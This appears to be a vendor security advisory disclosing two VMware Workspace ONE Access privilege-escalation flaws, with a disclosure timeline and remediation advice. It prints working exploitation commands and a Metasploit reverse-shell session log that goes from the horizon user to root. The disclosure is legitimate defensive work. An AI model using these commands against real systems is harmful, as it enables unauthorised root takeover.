Last updated at Fri, 05 Aug 2022 15:33:17 GMT
The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user. At the time of this writing, CVE-2022-22954 is one such RCE vulnerability (that notably has a corresponding Metasploit module here) that can be easily chained with one or both of the issues described herein.
Product description
VMWare Workspace ONE Access is a platform that provides organizations with the means to provide their employees fast and easy access to applications they need. VMware Workspace ONE Access was formerly known as VMware Identity Manager.
Impact
These vulnerabilities are local privilege escalation flaws, and by themselves, present little risk in an otherwise secure environment. In both cases, the local user must be horizon for successful exploitation.
That said, it’s important to note that the horizon user runs the externally accessible web application, which has seen several recent vulnerabilities — namely CVE-2022-22954, which, when exploited, allows for remote code execution as the horizon user. Thus, chaining an exploit for CVE-2022-22954 with either of these vulnerabilities can allow a remote attacker to go from no access to root access in two steps.
Credit
These issues were disclosed by VMware on Tuesday, August 2, 2022 within the VMSA-2022-0021 bulletin. In June, Spencer McIntyre of Rapid7 discovered these issues while researching an unrelated vulnerability. They were disclosed in accordance with Rapid7’s vulnerability disclosure policy.
CVE-2022-31660
CVE-2022-31660 arises from the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.
To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:
sudo /usr/local/horizon/scripts/certproxyService.sh restart
Note that, depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:
sudo /opt/vmware/certproxy/bin/certproxyService.sh restart
In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.
Proof of concept
To demonstrate this vulnerability, a Metasploit module was written and submitted on GitHub in PR #16854.
With an existing Meterpreter session, no options other than the SESSION need to be specified. Everything else will be automatically determined at runtime. In this scenario, the original Meterpreter session was obtained with the module for CVE-2022-22954, released earlier this year.
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...
meterpreter > getuid
Server username: root
meterpreter >
CVE-2022-31661
CVE-2022-31660 arises from the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.
To demonstrate and exploit this vulnerability, we can execute the following command as the horizon user:
sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/
At this point, the horizon user has write access (through ownership) to a variety of scripts that also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target and restored them once they had obtained root-level permissions.
The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function that will change the ownership information to the TOMCAT_USER, which happens to be horizon.
Excerpt from getProtectedLogFiles.hzn:
function getProtectedLogs()
{
chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION
rm -f $TARGET_DIR_LOCATION/messages*
rm -f $TARGET_DIR_LOCATION/boot*
rm -rf $TARGET_DIR_LOCATION/journal*
cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION
cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION
chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/
}
Remediation
Users should apply patches released in VMSA-2022-0021 to remediate these vulnerabilities. If they are unable to, users should segment the appliance from remote access, especially if known issues in the web front end like CVE-2022-22954 also remain unpatched.
Note that fixing these vulnerabilities helps shore up internal, local defenses against attacks targeting external interfaces. For practical purposes, these issues are merely internal, local privilege escalation issues, so enterprises running VMWare Workspace One Access installations with current patch levels should schedule updates addressing these issues as part of routine patch cycles.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to vulnerabilities described in VMSA-2022-0021 with authenticated, version-based coverage released on August 4, 2022 (ContentOnly-content-1.1.2606-202208041718).
Disclosure timeline
- May 20, 2022 - Issue discovered by Spencer McIntyre of Rapid7
- June 28, 2022 - Rapid7 discloses the vulnerability to VMware
- June 29, 2022 - VMware acknowledges receiving the details and begins an * investigation
- June 30, 2022 - VMware confirms that they have reproduced the issues, requests that Rapid7 not involve CERT for simplicity’s sake
- July 1, 2022 - Rapid7 replies, agreeing to leave CERT out
- July 22, 2022 - VMware states they will publish an advisory once the issues have been fixed, asks whom to credit
- July 22, 2022 - Rapid7 responds confirming credit, inquires about a target date for a fix
- August 2, 2022 - VMware discloses these vulnerabilities as part of VMSA-2022-0021 (without alerting Rapid7 of pending disclosure)
- August 2, 2022 - Metasploit module submitted on GitHub in PR #16854
- August 5, 2022 - This disclosure blog
